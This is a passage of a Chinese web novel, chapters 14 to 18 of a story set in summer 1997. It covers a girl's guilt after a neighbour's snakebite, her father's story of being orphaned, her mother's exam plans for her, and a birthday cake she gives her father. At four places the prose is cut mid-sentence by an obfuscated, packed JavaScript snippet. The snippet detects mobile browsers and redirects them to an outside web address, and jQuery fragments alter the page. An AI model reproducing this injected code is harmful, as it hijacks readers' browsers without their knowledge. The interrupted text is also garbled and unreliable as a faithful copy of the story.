“救护车马上到,咱们先给他送去社区医院看看。”表哥很快从屋里出来。 “来,你帮他扎上,我背过去。”张鑫找到绳子,两人很快扛着黎明律走了。 陈抑休也没闲着,他放下盆想要跟上去,半路折回来又去屋里带出黎明律的钱包,边走边交代赵迟来:“我把钱和证件送过去,你们不要乱跑。” “那,那我能做什么?”她追上去。 “你在家等着就好了,”他已经跑出去,闻言回头招了招手,“不会有事的,等消息!” “好!我就在茶馆门口等你们!”她保证道。 他们一走,院子里顿时安静下来。 小午有点担心,但回头对上赵迟来已经崩溃边缘的泡泡眼,还是安慰道:“没关系姐姐,黎哥哥不会有事的。” 大家都思路清晰,连小午都比她懂事,到这里她终于忍不住,埋在小午的兜衣里,默默抽泣。 “姐姐,你是不是在哭?”过了一会儿,小午问。 “……”赵迟来一顿,反应过来自己在干什么,颇觉丢脸。 她狠狠蹭了一把正色抬头:“没有啊。” 小午低头:“可是我的兜兜都湿了。” “这不是你自己的口水吗?” “……”他沉默了一会儿,不知道是被说服了还是被无语住了,“哦。”然后不再纠结,挣扎着要下来,走到之前放透明盒子的摇椅旁边,翻出那根发圈自己玩,没一会儿就咯咯直笑。 赵迟来看着看着,眼泪又漫上来。 小孩子似乎总有一种轻易获得新奇感的能力,一个小绳子就能让他们的笑声装满整个盒子。等到有一天他们不再被小小的障眼法欺骗,空盒子也被其他东西装满时,才会变成大人。 可是现在的她既没有办法清空自己的盒子,完完全全做回小孩,也没办法用其他的东西填满自己的空盒子,把自己当个大人。 只能像个众目睽睽踩到屎又不敢声张的胆小鬼,装出一副若无其事的样子,以为自己昂起头就会毫无破绽,殊不知只要用力过度,脚下就会出现她虚张声势的影子。 可是除了假装,她别无办法。 因为大家都在奋力往前,只要停下,她就会慢人一步。 一步,两步……好多步。 14. 1997年夏 14 天已经黑了,他们还没有回来。 赵迟来坐在大树茶馆的台阶边上,不知道第几次望向下坡路口的方向。 空气里飘着各色粿条的香味,按照平时她早该饿了,但现在却一点胃口也没有。 她又徘徊了一会儿,没等到任何熟悉的影子,重新坐回树下的长凳。 身后隐约有脚步声,粿条的香味更明显了,好像是牛肉汤粿。 “你妈已经去医院了,不用担心。”赵庆国的声音。 她回头,果然见她爸端着一碗热汤粿站在她身后。“你们……都知道了?” “刚到街口就听说了,你等了一下午?”他坐下,把碗递给她。 她摇头:“还不知道黎明律怎么样呢,我吃不下。” 赵庆国:“如果有事人已经送回来了,迟迟没消息就是好消息。” “……有你这么安慰人的吗?” “真不吃?刚出锅的。”他又递过来。 鲜嫩的粿条裹着油花,盖着满满一层还带粉色的薄切牛肉,看着好吃极了。赵迟来咽了咽,狠心推开,继续沉默不语。 赵庆国笑笑没再勉强。 “在自责?” “当然啊,如果不是我非要拖后腿,他就不会……”她说不下去,不敢想黎明律要真有什么事她要怎么赔。 “红蛇咬人是常有的事,不是什么绝症,最多养段时间就好了,你要是不安心,到时候就多去看他。”赵庆国把碗放在一边,“至于医药费,也花不了几个钱。” “也不,也不全是怕他有事……”她有点难过,又有点难说。 “还怕什么?” “……”她踢了一脚地上的落叶。 “怕你妈说你?”赵庆国一眼看穿。 她眼神埋怨,内涵他明知故问。 “你为什么不骂我?” “我为什么要骂你?” “你不觉得我老是闯祸吗?每次都是我,大家都知道我不聪明,不懂事。”一开口她就止不住,“这下好了,我又害人了,害的还是最聪明最懂事,你们最喜欢的那个,没意思,活着好没意思。” 赵庆国听个开头还觉得好笑,听到最后脸上的笑意渐渐凝固:“慢慢,你怎么会这么想?每个父母最喜欢的都是自己的孩子,别人家的再好那也是外面的,再说了爸爸觉得慢慢也很聪明也很懂事,爸爸最喜欢的就是慢慢。” 她转头,赵庆国眼神坚定地点头:“爸爸说真的。 她又踢了一脚:“但妈妈不这么想……她总是说我没用。” “那是……”赵庆国顿了顿,脸色有点怪,“那是因为我没用。” “啊?她也这么说你了?”赵迟来探头。 “倒是也没明说。”他挠了挠脸。 “那你怎么知道的?”她不信,“别是你为了安慰我胡乱找的借口吧?” 赵庆国吸了口气,神色悠远,但很快就回头,看着她的眼睛笑盈盈:“你知道为什么每年我和你妈的生日都是一起过吗?” 她茫然:“不是因为同一天生吗?还有其他……” “因为我是个孤儿,”他突然道,“从小就不知父母,当然也不知道自己的生日是哪天。” “什么?不是……”赵迟来无措,“我知道阿公他们已经去世了,但爸你这么说是不是也太……有点不合适?” “那是你妈骗你的,我6岁之前一直在挨饿,6岁的时候被一个姓赵的阿婆捡回去养了两年,但很快她就去世了。后来为了一块五花肉又被人贩子骗走。”他低头小声补充,好像怕被人听走。 “怎么可能?” “然后呢,没多久他们被人抓了,我就留在当地给一户杀猪的做工,我的刀工就是那时候练起来的,说起来还得感谢他们,送我一门吃饭的手艺,之后来花城,我第一份正经工作就是酒楼切菜员。” “爸爸……”赵迟来分不清他在说笑还是真的。 “一开始是切菜,学了几年自己做了大厨,我以为苦日子终于到头了,想着讨个老婆好好过日子,但回头不小心把酒楼老板给打了。” “啊?自家酒楼吗?”她逐渐听进去。 “对啊,我才来几天也不认识他,见他对一个年轻姑娘动手动脚,就上去把他打了一顿,打到鼻青脸肿。” “活该!然后呢?” “然后,我就被开除了,他扬言要花城所有酒楼饭店都容不下我,要让我饿死在花城。” “真是可恶!你报警了吗?那个老板受到惩罚了吗?” “哈哈,”赵庆国摇摇头,“但我没多久就遇上一个贵人。” “真的吗?谁?” “你阿公。” “……”赵迟来狠狠转动自己脑子,冒出一个极为巧合的念头,“那天你救的年轻姑娘,该不会就是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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赵庆国还想说什么,听到这儿含笑咽了回去:“现在吃不吃?” 赵迟来不好意思的擦干眼泪,点点头,接过碗筷猛猛开吃。 15. 1997年夏 15 晚上十点多的时候,梁惠回来了。 赵庆国出门迎了一段路,赵迟来听见声音跑出来,两人正好在说话。 “妈……” 她站在门口,没敢往外走。 梁惠扫了她一眼,神色虽说不太好看,但竟然没骂她:“现在知道担心了?” 她立刻:“黎明律怎么样了嘛,有没有事?不会需要截肢吧?” 梁惠放下包:“截肢了你要怎么样?” 她想了想:“我害的,那我岂不是得照顾他一辈子。” 梁惠点了点她额头:“你想得美!” 赵迟来听得心里一松:“这么说是没事了?”梁惠指了指茶壶,她立刻倒水。 “明天就回来了,照顾他一辈子这种话,你还是当面跟他说吧。” “哎呀妈妈!我那不是试探你吗?你不准说漏嘴了!” “嗯哼,看你表现吧。” “哎呀妈妈,我的好妈妈!”她立刻上前给梁惠捏起了肩。 赵庆国从厨房探头:“热了点宵夜,咱们摆桌?” 心里的石头总算落地,赵迟来终于可以安心躺下。 但酝酿了一会儿,还是翻来覆去睡不着,想了想,她干脆翻身起床。 另一边的梁惠也没睡。 她翻开一本厚厚的笔记本,翻到“第四个五年计划”标签页,然后一页一页往下翻。 边看边自语:“不应该啊,勇气和智慧都超过80分了,为什么发生这种事她还是会慌得什么也做不了?” 赵庆国正在床尾补裤头:“那是条活生生的蛇啊,何况慢慢小时候还被吓过,害怕不是正常的吗?” “可是她平时明明不这样的,她胆子大得很,脑瓜子转得也算快啊,按照计划,慢慢现在应该是德智体美全面发展的别家小孩,为什么会跑偏呢?到底是从什么时候开始偏的呢?”她实在想不清楚。 “事已至此,改计划吧,实事求是你说呢老婆?”赵庆国没反驳,只是建议。 “也只能这样了……”梁惠揉了揉额角,认命拿起纸笔删删改改,不过一会儿就制了一套新的作息表出来。 “我先拿过去给她,让她明天开始照着做。”放下笔,她迫不及待起身。 “……”赵庆国摇摇头,叹了口气。 梁惠快步来到隔壁房门口。 见门缝里还有光,抬手就要敲门,结果手才刚按上来,门就往后裂开了。 她趔趄了一步,一眼对上赵迟来的背影—— 她在书桌前坐得板板正正,正拿着笔在练习册上写写画画,对身后的动静一无所知。 梁惠愣了愣,还以为自己看错了。 她撤身看向客厅里的挂钟,一脸惊奇,随后轻手轻脚把门关了,转身回房。 房门关闭。 梁惠几乎是跳上床的。 盖着被子转了两转,又忍不住坐起来:“你怎么不问我为什么这么高兴?” 赵庆国一边咬线一边回头:“嗯?” “这就是你让我别骂她的原因?”她笃定赵庆国知道实情。 “什么?”他茫然。 “还装,她熬夜写作业呢。” “慢慢?现在?” “……怎么回事?你不是说把她教育了一顿吗?” 赵庆国反应过来:“啊,对啊,我把她狠狠教育了一顿,她说会改过自新的,怎么样,现在就开始了?” 梁惠一脸兴奋:“我就从来没有见她这么认真过。” “可是这个点了……” “你懂什么,苦其心志劳其筋骨,她正是奋斗的年纪,少睡会儿怎么了?” “老婆,咱们这个清北,是非考不可吗?”赵庆国欲言又止。 “那当然了!要不然这么多年我白干了?” “咱们给慢慢的压力会不会太大了?” “又不着急,还有1年呢,她只要老老实实按照我的计划,一定可以考上!”梁惠想起来,“你要是真心疼,有本事让她把比赛停了,多出来的时间我绝不干涉!” “……你当我没说。”他嗫嚅片刻,转了回去。 一墙之隔的隔壁。 原本笔挺的背脊已经垮塌了一半,写写画画的笔尖也停下来,在手背上匀速转圈。 她盯着本上孤零零的“解”字看了半晌,猛然将其合上,然后飞速钻上床,从枕头底下摸出一本《花火》。 “……” 看了半晚上小说,第二天起床赵迟来脑壳都是懵的,眼底下一片青黑。 “早,妈。”她抓起一个包子塞嘴里,“爸呢?” “哦他去拳馆了。”赵庆国平时没课,尤其是寒暑假的时候都会去拳馆兼职做教练。花城武术之风盛行,尤以截拳最受欢迎。 “冰箱里有豆浆,你自己拿啊。”梁惠刚说完就放下手里的拖把,自己从冰箱里拿了一包豆浆递给她,“还是现在就喝,怕你忘了。” “哦,妈你今天休息吗?”她看了看坐在对面似乎不打算起身的梁惠,有点疑惑。 “我今天夜班,下午过去。”梁惠只是看着她。 “哦哦。”她喝了一口,有点不自在。 “妈你不吃吗?” “你多吃点,昨晚累坏了吧。” “啊?”她警惕,“没有没有,我睡很早。”怀疑自己熬夜看小说的事情败露,压根不敢看她眼睛。 “这孩子,还学会谦虚了。”梁惠越发满意。 “哈哈……” “行你吃吧,妈不打搅你了。”说着不打扰,实则一会儿看一眼。 “哦好的,”赵迟来被她看得一阵心虚,卷起豆浆包子起身,“我去找思泉做下练习,晚点回来。” “新的作息表我给你放桌上了,明天记得去大清北啊!” “好的!” 赵迟来临走看见还摊在被子上的杂志,又折回来塞进练习册里,侧身出门。 文思泉在书房练琴。 老师应该是刚走,何温婉正在收拾桌上的茶杯,看见赵迟来温柔笑笑:“慢慢来了,你先坐会儿,我给你们准备点东西,喝红茶吗?” 赵迟来点头:“随便什么都行,辛苦阿姨。” “慢慢!”文思泉很快停下。 “我没打扰你吧?”她放下书本。 “没有没有,我练完了正要休息。你这是……又开始补习了?” “明天去,我给你看个好东西。”她神秘兮兮抽出那本花火 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15259272|166523||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,翻到昨天记忆最深刻的地方,“你看这里!这里简直太好看了!” 文思泉看了一眼,起初没什么反应。再看一眼,脸上慢慢染红,她小声:“我妈还在呢……” 赵迟来不怕:“慌什么,问就说在学习,再说你妈脾气这么好的人,就算知道了也不会说什么,我妈才可怕。” 文思泉微微一顿:“也不是一直都好。” “嗯你说什么?”赵迟来从书里抬头。 “没什么,你过去点。” 两人凑在一起。 旁边摞着一叠书,底下还垫着一本大练习册,时不时悄悄交头接耳。 何温婉端着茶点进来,两人也丝毫不慌。 但平时都是放下就走了,今天却多说了几句话。 “慢慢你妈妈在家吗?” “在的阿姨,晚上才走呢,你随时可以去找她。” “哦我没什么事,就是随便问问。” “没事也可以找她说说话嘛,每次你来她都可开心了。” “哈哈是吗?” “对啊,说你炸的带鱼可好吃了,牌坊街没人比得上!” “好了,你们自己看,我还得准备午饭。” 寒暄几句,终于送走,两人对视一眼,各松一口气。 “炸带鱼?其实是你喜欢吃吧?” “看破不说破嘛。” 赵迟来昨天已经看过一遍,这会儿只是挑着看了点,就转战练习册。 她写了几道题,看向对面黎家,心思总也不能集中,问:“黎明律还没有回来吗?” “他去哪儿了吗?” “哦,不是,随便问问。” 听起来似乎对昨天的事不知情。 “不过今早倒是看见一休哥了,把我认成我妈,叫了声阿姨。”她想起来有点好笑。 赵迟来莫名想起昨天她气急败坏离开的场景,眼神瞬间揶揄起来:“哦……看见一休哥了,真是缘分呐。” 文思泉眼神迷惑:“你这是什么语气啊?” 赵迟来夹声重复:“你这是什么语气呀?” 文思泉沉声:“赵慢慢!你好好说话!” “哎呦恼羞成怒了。” “我怎么恼羞成怒了?” “行了别装了,我都知道了。” “知道什么?” “你有喜欢的人啊。” 她用力眨了眨眼。 文思泉一愣,随即矢口否认:“没有这回事!” “哦是吗?那你别躲。” “我哪有躲?” “嘿嘿,敢做不敢当,怎么说,要不要姐妹帮你一把?” “谁要你帮忙啊?” “哈哈这么说你是真喜欢他咯!”赵迟来仿佛抓到她什么把柄哈哈大笑,“文思泉啊文思泉!你到底看上他哪一点啊?” “赵迟来!” “跟我说说,你什么时候开始喜欢他的?” 赵迟来被赶了出来。 头一回在文思泉这儿受到这种待遇,她摸了摸鼻尖,还怪稀奇的。 踢踢踏踏往回走,远远看见门口有两双鞋,梁惠在屋里和人说话。她没去打扰,转头找陈抑休要了黎明律的位置,就往医院走了。 16. 1997年夏 16 “你怎么过来了?” 赵迟来抵达医院的时候,黎明律正在看书。 他看起来气色充足,完全不是想象中虚弱寡淡的神色。 赵迟来松了口气,放下带过来的水果:“看来你赢了,我就说你更毒吧。” 黎明律轻扫她一眼,继续看书,显然对她的态度不满意。 赵迟来刚出口就后悔了。 她这张死嘴真是犟惯了,明明已经下定决心脚踏实地重新做人,还是习惯性发硬。黎明律还吊着水呢,她实在不应该。 “我开玩笑的,来看看你……有什么我能帮忙的。”她搓了搓手,有点局促。 “来得正好,我有点饿了。”默了默,他淡淡翻了一页,虽然语气不太好,但总归愿意搭腔。 “你想吃什么?我去给你买!”她热忱无比,“猪蹄怎么样?吃哪儿补哪儿,好得更快!” “想吃烧鹅。”他报出一个菜名。 “烧鹅?”这东西寻常酒楼没得卖,卖了也不好吃,至少医院附近没有,最近的一家她记得是……裕记深井烧鹅? “好,我这就去!” 想起来她起身就走,没注意身后的人突然抬头“哎”了一身。 一个多小时后,赵迟来带着新鲜出炉的烧鹅回来,额发尽湿。“来了!快趁热吃,还给你带了份米饭。” 她一边说一边支桌子,等打开饭盒自己先对着油光透亮的烧鹅咽了咽,却终究忍住,给黎明律招呼筷子。 他没反应。 正用一种很陌生的眼神打量她。 “怎,怎么了?”赵迟来不明所以。 “没什么。”他眨眨眼从她脸上收回视线,伸手接过她递来的碗筷。 刚刚有事儿吊着不觉得怎么样,现在停下来赵迟来只觉得热得很。 病房里只有一台电风扇,对着黎明律在吹,她不好意思抢,只能找点事做转移注意。 她拿起他随手放在旁边的书翻看。 书名叫《爱你就像爱生命》,作者王小波。赵迟来对这位前不久去世的作者有点印象,记得这本书最近在班里传得也很火。 书封还很新,黎明律应该也是刚看没多久,书签都夹在前几页。 她一边看,一边无意识拉扯黏在身上的领口,一阵阵热风,但总比没有要好。 没看几页黎明律忽然出声:“有点冷,你能帮我把风扇关了?” 赵迟来一愣,大喜:“不废这个功夫,对我吹就行了。” 看来黎明律这人只是看着风光,其实内里也虚得厉害。 他很快就吃好了,有大半没吃完。 赵迟来理所当然给他打包封好,让他带回去继续吃。他顺势说出马上回家的打算,她看了一眼即将空瓶的吊水,点点头去叫人。 办理退院,收拾东西,搀扶打车,全都由赵迟来安排。 等到黎明律终于回到家里,躺在床上,她松了口气。 “好了,你好好静养,我就不打扰你了!”她拍了拍手打算离开。 “你就走了?”他神色不明。 “还有什么要我做的?” 黎明律没有回答,随口问:“你明天什么安排?” 她就说起要去补习的事情。 听完他哦了一声,指着书桌上一摞厚厚的笔记本:“那儿,有几本学期总结,你要是用得上就拿走吧。” “你是说,你的笔记要借给我?” “爱要不要。”他又看起了书,明显只是随口一说。 要是放在以前赵迟来肯定不会要,他这个态度,说不定她还得刺两句。但这次她沉默片刻,一口答应:“好啊,我如果有看不懂的地方,能来问你吗?” 黎明律微微一愣,点头:“可以。” 赵迟来嘿嘿一笑,抱起那堆东西就走,临走还把那本没看完的王小波带走了。 “哎,那个不是我的……”黎明律提醒。 “我看完了就还给你,很快的!”她已经走到门口,“门我就不关了,有什么事你可以大声叫我,2分钟必到,还有明天我再来给你送饭!” “哦。” “拜拜黎明律!” 脚步声很快走远了。 黎明律良久收回视线,继续看书。他翻了一页,又翻了一页,似乎看见什么有趣的东西,唇角隐约勾起一抹笑意,但不等成型,又被他抬手掩住。 出来后赵迟来并没有马上回家。 她想了想,去了三岔口的美食街。 回到家里,赵庆国已经回来了。 “哦哟,我们小哭包回来了?”他在盛汤。 “谁是哭包啊?不要乱讲!”赵迟来背手往屋里走,确定他没有注意,悄悄放下盒子再出来收拾桌子。 “听你妈说,昨天晚上学到很晚?” “……没有啦。”她心里有点不是滋味。 “下次不要太晚了,早点起来都成,正好可以打套拳热热身。” “嗯嗯知道了。” 饭菜上桌,赵迟来却按住了他盛饭的手。 “怎么了?” “先别吃饭,吃点别的东西。” 她说着进屋把那个盒子拆了,又摸出打火机和蜡烛插上,等她再次出来,掌心里多了一个奶油蛋糕。 “这是,这是干什么?”赵庆国有点懵。 “生日快乐爸爸。”她稳稳放下,“像你说的,没有人可以回到过去,但任何时候都可以重新开始。以前……是我不知道,现在我知道了,那就不能和以前一样。” “没关系,我的生日前几天已经过过了。”他懂了,有点好笑。 “那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15259273|166523||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不一样,那是你遇见妈妈以后才有的生日,不是你自己的,我想给爸爸过一个只有他自己的生日。”她说完立刻唱起了生日歌。 赵庆国哭笑不得,但最后也跟着唱了两句。 “好了好了赶紧吹蜡烛!”一唱完赵迟来就迫不及待催促。 气氛已经到这儿,赵庆国也只能顺着她许了愿,又吹了蜡烛。 “爸爸许的什么愿?”她撤掉蜡烛。 “许愿我们慢慢……不行,这个不能说,说了不灵了。”他及时打住。 “哎?你自己的生日,怎么许我的愿?” “我就许,你管我。” “好好好,不说我也知道,无非就是决赛啊冠军啊。” “你说是就是吧。” 赵迟来切下一朵完整的奶油花递给他。赵庆国笑着接过,大声夸赞:“我们慢慢真是个大孝女啊,你阿公看见指不定多羡慕我。谢谢你啊慢慢,陪爸爸过第一个自己的生日。” “不客气爸爸,你快尝尝好不好吃?”她认真督促。 他挖起一片花瓣放进嘴里,眉眼弯得厉害:“甜得很。” 赵迟来撑着脸心满意足:“我爸爸以前一定吃了很多苦,今天要多吃点甜的,不止今天,明天后天,每一天,都要多吃点甜的!” 赵庆国顿了顿,看着她眼眶隐约有点泛红,但很快眨眼笑开:“刚说你孝顺,也不怕我得糖尿病……” 赵迟来嘻嘻一笑,又切了一块放到内厅的供品桌上,温声哄道:“我们阿公不用羡慕,也有的哦,慢慢吃不用着急,喜欢过年我给你捎个大的过来。” 当然无人回应。 但她却煞有其是点头:“好的阿公默认了,也说喜欢!” 赵庆国招呼她赶紧过来吃饭。 两人边说边吃。 “对了爸,你让我跟着姓赵是不是为了记挂那位养了你两年的阿婆?” “对啊,但一开始你姓梁来的,你妈后来知道,就让人在你2岁的时候改过来了。” “哦……”她点点头,忽然保证,“我一定会好好练拳。” “也要好好念书。”赵庆国夹起一块炸带鱼,“这也是你买的吗?” “不是啊,我还以为是咱们家做的呢,”她摇头,也夹起一块咬了一口,恍然大悟,“哦,思泉妈做的。” 回到房间,赵迟来打开台灯。 从整整齐齐的笔记本里抽出一本,随便翻了两页,语气有点泛酸:“字也这么好看,这家伙难道就没有软肋吗?” 说完摇摇头,掏出试卷册刷起来。 睡觉之前她再次打开那本《爱你就像爱生命》。 本来只是打发时间顺便催眠,但没想到越看越精神,最后终于忍不住爬起来开始摘抄。写成一张一张的小卡片,挨个塞进旁边的书本和练习册里。 17. 1997年夏 17 赵迟来的承诺不是心血来潮。 她当真开始按照新的作息表执行,甚至更早。每天天不亮起来打四十五分钟拳,天亮再带着早餐出门,等到了补习班早餐也吃完了。 学到中午,会回来吃饭,顺便给黎明律也送一份。 但这个事儿没有坚持几天。 因为很快他就彻底好了,和她前后脚出门,整天泡在图书馆。但奇怪的是,他并没有带什么书本,有时候还会去网吧。 张鑫看上一台游戏机,找了两份工,从早到晚忙得不见影。 同样不见影的还有陈抑休,他最近似乎遇到了什么难题,才整齐没两天的浩南头又变回之前的鸡窝,几天不见人影。 就连表哥也忙起来。 好几次去找他都没在,听舅妈说是找几个朋友租了个地下室,在城南新街捣鼓什么游戏机。她暗道了一声糟糕,看来上次吃饭时候胡侃的中东土豪游戏真被他听进去了。 好在还有文思泉陪着她。 得知她下个月要去参加比赛后,文思泉信誓旦旦要给她做一件比赛战袍。她回想了一下过去十多年所有的仙女战袍款式,很想抬手说一句“不用”,但看她拿着软尺一脸憧憬的冲过来,这话也就咽回去。 来去匆匆之间,赵迟来碰上过几次文思泉的妈妈何温婉。 她最近似乎经常来找梁惠,有时候是两个人一起吃东西看电视,有时候是和张鑫妈或者其他人一起打麻将。总之比之前爱出门一些。 不知不觉,时间来到更加炎热的8月,补习班也放假了。 赵迟来拿着热乎的模拟卷成绩单回来,蹑手蹑脚准备给梁惠一个惊喜。正要敲门,忽然听见里头他妈的声音,手突然就收回来—— “哎老公,你想不想再生个儿子?” 她瞬间睁大双眼,以为撞破什么少儿不宜的场面,结果被他爸清晰的喷水声拉回来。 “噗——你怎么,怎么突然有这种可怕的想法?” “今天下午听思泉她妈问起,就想问问你。” “她问你什么了?” “问我没给你生个儿子,有没有被你们老赵家背后说闲话。”梁惠轻哼了一声,似乎对这个问题非常不屑。 “你怎么说的?” “我说生过啊,这会儿正在下面给你们老赵家的祖宗做大孝子呢。” “……”爸爸沉默了一会儿,疑惑:“你说的该不会是慢慢2岁那年,流掉的那个……” “对啊,我记得她舅妈当时特意很可惜的跟我说,是个儿子呢!” 赵迟来一听还有这种事,耳朵凑得更近了。 “好端端的,她打听这种事做什么?”赵庆国不满嘟囔。 “你还没说你要不要呢,心里要是想啊直说,我立马给你拼一个。”梁惠催促。 “不要不要,我有慢慢已经够够的了!”他立刻表态。 “是因为有了慢慢才不要的吗?” “没有也不要了,我不想你再受那种苦……” 屋子里静了下来。 梁惠居然就此偃旗息鼓。 赵迟来也收回耳朵,蹑手蹑脚往房里走。半路把成绩单大剌剌摊在饭桌上,唯恐他们看不见,还把梁惠的手提包挪到旁边压上。 书桌上的笔记本已经添了两分旧色。 她仔细整理了一番,把上面的油渍清除折痕抚平,然后连带着那本王小波全部卷到怀里,给黎明律送过去。 出门碰上好久没见的陈抑休。 他蓬松的头发每一根都似乎有自己的想法,格子衬衫的扣子也一高一低,脚步虚浮,整个人看起来一副离阎王爷不远了的样子。饶是赵迟来已经习惯,还是看得一阵头疼。 “一休哥?你几天没洗澡了?” 他扶着院门茫然转头,缓冲了一会儿才回:“还好吧,也就三四五六天……” 这句话对一天洗两个澡的赵迟来产生的冲击无异于“我刚从粪坑出来”,她咦了一声转头要走,看见他脚后跟还沾了一张破纸,又折回来给他踩住。 “一休哥,抬脚。”她催促。 他也没问,甚至看也没看就把脚抬起来。 “……另一只。” “哦。” 是一张报纸。 赵迟来眼神好,还能看清上面印着的大头和一句放大的话—— 【马来西亚总理马哈蒂尔咬牙切齿:“索罗斯来到我们的国家,使我们的人民十几年的奋斗在一夜之间化为乌有!”】 不是她以为的笔记之类的。 她收回视线,认真告诉陈抑休:“好了你进去吧,好好洗个澡,好好睡一觉,有什么不舒服随时叫我明白吗?” 陈抑休看着她的眼睛,似乎没看清极力睁了睁。 她不躲也不闪,学着他的样子瞪回去,瞪到最后眼皮都酸了,也没见他有别的反应。 诡异的对视是被黎明律打断的。 他扛着背包一脸疑惑的出现在两人之间,出声:“这又是什么我不知道的新游戏吗?” 赵迟来被他吓了一跳:“你怎么没声音啊?” 黎明律面无表情:“是你们太认真了吧。”说完又问陈抑休他怎么回事。 陈抑休缓过来,揉着太阳穴:“有个数据卡住了,怎么也算不清楚,回来换换脑子。” 他嗅了嗅,建议:“还是先换身衣服吧。” “哎你来得正好,正要还给你呢。”赵迟来把笔记本塞他怀里。 “看完了?” “嗯,很有用,下次有需要再找你。” “说得我很有空一样。”他抽出其中那本王小波递给陈抑休,“你的。有什么破损和我无关啊,她弄的。” 赵迟来炸毛:“我很爱惜的好吗!” “哦好。” 两人各自拿上自己的部分回家,各自随手塞进书柜里。 晚上吃饭的时候,梁惠终于发现了那张成绩单。 “我的妈呀,这,这提了多少上来啊?三四五……八十!”她不敢相信,连忙叫赵庆国过来看,“老赵你快看看!赵慢慢出息了!” 赵迟来假装毫不关心,继续在院子里练木人桩,实则耳朵就差自己走进去。 赵庆国接过看了两眼,随即大赞:“老婆你可真有远见啊,咱家慢慢还真是考清北的料子!” “是吧,随我,也有点随你吧。” 两人在屋里互相吹捧了半天,就是不见出来当面夸夸成绩单的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15259274|166523||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 主人。 赵迟来忍了又忍,实在没忍住:“明明是我考的,你们在这儿冒领什么功啊?说得好像很简单一样!” 俩人立刻住嘴,对视一眼,同时笑了一声。 “哈哈哈,我就说她故意的,她肯定忍不住。” “行吧,算你赢了,晚上我给你洗脚。” 赵迟来还有什么不懂:“好啊!原来你们是故意的!”她就说看他们出来半天了,怎么现在才发现。 “你妈逗你呢。” “才不是,她就是想看我笑话!” “看你笑话怎么了,这才几分尾巴就翘到天上去?” “你就不能夸我几句吗?” “夸夸夸,夸到你得意忘形就好了。” “哼。” 赵迟来心里就跟吃了秤砣一样难受,本来美好的心情突然就乱七八糟。 一直到吃饭的时候都没再他们说一句话。 饭桌上。 她沉默着往嘴里塞了一口,又塞一口。 赵庆国瞄了眼她的脸色,面露不忍,给梁惠使了个眼色。梁惠回了个“你别管”,然后清了清嗓子,说:“今天你阿嬷打电话过来了。” 赵迟来欲言又止,没止住:“说什么了?” “还能说什么,想你了呗。” “……”赵迟来一口饭菜梗在喉咙,心里委屈得不行。 “哎呀哎呀,我来说!”赵庆国一看她眼睛都红了,连忙放下碗筷抢过话头,“你阿嬷打电话说村里的龙眼可以摘了,问你想不想吃?” “就是村口那棵老龙眼树吗?”她含泪。 “对啊。” “想,但某些人肯定不会同意的。” “你都没问,怎么知道我不同意?”梁惠不满。 “还用问吗?去年过年你都不让我去呢,非要我做题做题。” “……”梁惠也有点心虚,“行了猴年马月的事,就知道翻旧账,今年让你去行了吧。” “那这次呢?”她试探。 梁惠正色:“原本呢,我确实不想让你去的,但你爸非说让你去让你去,你阿嬷想你。” 赵迟来眼巴巴:“我也想阿嬷了!” 赵庆国看不下去:“行了,你就给孩子一个痛快,我听着都急。” “看在你这段时间表现可嘉,成绩也进步不少的份上,准你去玩两天。”她终于松口。 “啊?才两天?路上都半天呢!” “你妈就这么一说,你放心玩吧,20号之前回来参加比赛就行。”赵庆国帮着解读。 “那不成,大半个月也太久了!”梁惠不答应。 “好嘞好嘞!明白了!我这就去收拾东西!”她选择性失聪,立刻腾起来,留他们两个人继续就时间问题掰扯。 扯到最后谁都没有赢。 但梁惠过来交代:“这回去你把小午也带上,你哥不在,你舅妈都没时间陪我搓麻将了。” “没问题!我肯定不会让他饿瘦了!”赵迟来一口答应,又小声追问:“那时间……” 梁惠抱胸打断:“问就是两天,你确定要问?” “不问了不问了,我心里有数!”她立刻拍了拍自己的胸口,信誓旦旦保证。 18. 1997年夏 18 赵迟来开心收拾起了行李。 虽然是夏天,不用带太多衣服,但行李箱还是塞得满满的。她已经计划好了,就算放假日常功课也不能落下,所以平时会用到的课本笔记还有没写完的练习册,她都带上了。 另外还有负重训练的沙袋绷带等等,临关门梁惠又给她塞了个医药箱。 